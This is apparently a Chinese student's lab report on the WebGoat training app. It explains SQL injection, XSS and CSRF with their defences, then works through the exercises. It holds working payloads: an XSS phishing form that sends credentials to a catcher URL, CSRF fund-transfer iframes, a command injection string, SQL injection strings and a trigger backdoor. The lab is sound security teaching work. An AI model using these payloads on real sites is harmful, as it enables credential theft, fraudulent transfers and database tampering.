20155327 Exp9 Web安全基础
基础问题回答
(1)SQL注入攻击原理,如何防御
SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。
1、 普通用户与系统管理员用户的权限要有严格的区分。
2、 强迫使用参数化语句。
3、 加强对用户输入的验证。
4、使用SQL Server数据库自带的安全参数。
5、使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤。
6、jsp中调用该函数检查是否包含非法字符,防止SQL从URL注入。
(2)XSS攻击的原理,如何防御
XSS是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义
1、在表单提交或者url参数传递前,对需要的参数进行过滤。
2、消除网站的XSS漏洞,需要网站开发者运用转义安全字符等手段。
(3)CSRF攻击原理,如何防御
CSRF(Cross site request forgery),即跨站请求伪造。我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。而CSRF确实,借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。
一般而且存在XSS漏洞的网站,也极有可能存在CSRF漏洞。因为CSRF攻击中的那个“伪造的请求”的URL地址,一般是通过XSS攻击来注入到服务器中的。所以其实CSRF是以XSS为基础的,也可以看做是XSS攻击的一种。
1.referer:因为伪造的请求一般是从第三方网站发起的,所以第一个防御方法就是判断 referer 头,如果不是来自本网站的请求,就判定为CSRF攻击。但是该方法只能防御跨站的csrf攻击,不能防御同站的csrf攻击(虽然同站的csrf更难)。
2.使用验证码:每一个重要的post提交页面,使用一个验证码,因为第三方网站是无法获得验证码的。还有使用手机验证码,比如转账是使用的手机验证码。
3.使用token:每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。
4.将敏感操作又get改为post,然后在表单中使用token. 尽量使用post也有利于防御CSRF攻击。
实验步骤
WebGoat
运行WebGoat,在终端中输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat,等到停止出现如下界面的时候,打开浏览器
在地址栏输入localhost:8080/WebGoat
打开WebGoat,选择默认账号、密码即可登陆成功。
XSS练习
1、Phishing with XSS 跨站脚本钓鱼攻击
这次实验的目的在于要在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点。首先我们创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,并且将这些信息发送给http://localhost:8080/那一段,完整的XSS攻击代码如下:
<head>
<body>
<div>
<div style="float:left;height:100px;50%;background-color:green;"></div>
<div style="float:left;height:100px;50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
然后在webgoat找到xss攻击打开Phishing with XSS
将这段代码输入到输入框中,点击search出现登录框,在登录框中输入用户名、密码:
点击登录后跳出弹框,其中包含用户输入的用户名、密码。攻击成功。
Stored XSS Attacks 存储型XSS攻击
存储型XSS的攻击基本流程:
比如在某个论坛提供留言板功能,黑客在留言板内插入恶意的html或者Javascript代码,并且提交。
网站后台程序将留言内容存储在数据中
然后一个用户也访问这个论坛,并刷新了留言板,这时网站后台从数据库中读取了之前黑客的留言内容,并且直接插入在html页面中,这就可能导致:黑客留言的脚本本身应该作为内容显示在留言板的,但此时黑客的留言脚本被浏览器解释执行。
黑客的脚本可以用来做如下所述的攻击:
1.通过javascript获取用户的cookie,根据这个cookie窃取用户信息
2.重定向网站到一个钓鱼网站
3.重新更改页面内容,假装让客户输入用户名,密码,然后提交到黑客的服务器
我们就来试试第三个,获取用户名和密码吧~
①打开Cross-Site Scripting (xss)攻击中的第二个:Stored XSS Attacks
②在Message框中输入上面那段代码,并点击submit
<head>
<body>
<div>
<div style="float:left;height:100px;50%;background-color:green;"></div>
<div style="float:left;height:100px;50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
③提交后,下方“Message List”中会新增刚输入的Tile名字的链接,点击链接。
④可以html已经注入成功,messege部分显示的是绿、红、蓝三色框,在下方用户名密码处输入点击提交后,被成功获取用户名和密码:
Reflected XSS Attacks 反射型XSS攻击
存储型XSS与反射型XSS的区别:
存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。
反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
这次实验的原理: 当在HTTP响应中使用未经验证的用户输入时,可能发生XSS。在一个反射的XSS攻击中,攻击者可以用攻击脚本制作URL并将其张贴到另一个网站上,发送电子邮件,或者以其他方式让受害者点击它。
打开xss的第三个攻击,在code框中输入带有攻击性的URL作为输入源:
Cross Site Request Forgery(CSRF)
跨站请求伪造,它与XSS不同之处在于,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性
这次实验的原理是发送电子邮件到新闻组。电子邮件包含一个图像,其URL指向恶意请求。在本课中,URL应该指向“攻击”Servlet,该课程的“屏幕”和“菜单”参数和一个额外的参数“TrimeFund”具有任意数值,如5000。您可以通过在右边插入的参数中找到“屏幕”和“菜单”值来构建链接。当时被认证的CSRF邮件的收件人将转移他们的资金。当这一课的攻击成功时,左边的菜单旁边出现一个绿色的复选标记。
以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件
我们在message框中输入这样一串代码
PS:注意这里面的Screen和menu的值每个人可能不一样,可以在当前页面的下边有个Parameters进行查看,然后通过宽高设置成1像素,隐藏掉这个图片。我这里src=475,menu=900。
提交后生成一个链接20155327:
点击链接即可查看用户操作的信息,攻击成功
CSRF Prompt By-Pass
实验原理是:目标是向包含多个恶意请求的新闻组发送电子邮件:第一个转移资金,第二个请求确认第一个请求被触发的提示。URL应该指向这个CSRF提示的攻击servlet,通过PASS课程的屏幕、菜单参数和一个额外的参数“TrimeBoover”,它具有一个数字值,比如“5000”来启动一个传输,一个字符串值“确认”完成它。您可以从右边的插图复制该课程的参数,创建“攻击”格式的URL。屏幕= xxx和菜单= yyy和转移资金= ZZZ”。无论谁收到这封电子邮件,恰巧在那时被认证,他的资金将被转移。当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查
和上边的那个实验一样,查看页面下边Parameters中的src和menu值并修改。
在message中添加代码如下:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额">
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM">
提交后生成一个链接
点击链接即可查看用户操作的信息,如下图所示说明攻击成功
SQL注入攻击
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。SQL注入攻击是黑客对数据库进行攻击的常用手段之一。
选择左栏中的Injection Flaws,选择下面的多种攻击进行实践
Command Injection
点击工具栏的firebug,也就是虫子(bug),调试网页源代码。
将复选框中任意一栏的代码后添加"& netstat -an & ipconfig"
点击view,即可查看命令执行结果
Numeric SQL Injection
发现这一题的选择框是一个下拉框,在当前网页上无法修改,于是,我们使用BurpSuite抓包修改。
在Kali中找到BurpSuite,并打开
在BurpSuite中依次选择Proxy->Options->Add添加一个端口,将绑定的端口设为5327,点击确认后会在Options下增加一行,勾选新形成的这一行:
点击浏览器右上方的更多选项卡,选择preference
在页面左侧选择advanced,选择network页标签,在connection那一行选择settings…
在弹出的窗口中设置代理服务器和端口(要与BurpSuite中绑定的一致,都为我设置的5327)
设置好后回到webgoat,点击Go,然后进入BurpSuite中依次选择Proxy->Intercept,可以看到已经抓到了包
右键选择send to repeater
进入repeater页标签,选择Params将其中station的值改为101 or 1=1,点击Go运行,查看右侧代码可以看到包中的SQL语句为
SELECT * FROM weather_data WHERE station = 101 or 1=1
回到Proxy中点击Intercept is on对剩下的包不作处理,回到火狐发现已经成功。
LAB: SQL Injection(stage1)
使用用户Neville进行登录,在密码栏中输入' or 1=1 --进行SQL注入,结果居然登录失败。
打开firebug,可以显示当前网页的源码并直接在其中修改。
一直搜password,查看源码发现输入框对输入的字符长度进行了限制,最多允许输入8个字符,这意味着我的注入并没有全部输进去。
对长度maxlength值进行扩大改成20,然后在密码栏中再次输入' or 1=1 --,这次全部输进去了,点击登录就成功了(注意登录的时候不要关闭源码页面)
4.LAB:SQL Injection(Stage 3:Numeric SQL Injection)
同上个小实验一样,修改长度然后输入' or 1=1 --登录成功
查看网页源码,选择查看viewprofile部分的代码,这时候可以看到一行用员工id作为索引来传送数据的代码,双击这行代码就可以出现value的值,因为我们想要用Larry的账户浏览老板信息,而大多数企业公司里老板的工资应该是最高的,所以我们就把其中的value值由101改为101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个让我们看到
可以看到老板应该就是排在第一个的Neville了,电话地址电邮工资卡等等信息一览无余。
Database Backdoors
先输一个101,得到了该用户的信息
输入注入语句:
101; update employee set salary=90000
成功把该用户的工资涨到了90000
为使表中一旦添加新用户那么就在用户表里将新用户的邮箱改为我设置的邮箱,那么输入语句101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155320@qq.com' WHERE userid = NEW.userid
就可以了,表中一旦添加新用户那么就在用户表里将新用户的邮箱改为我设置的邮箱。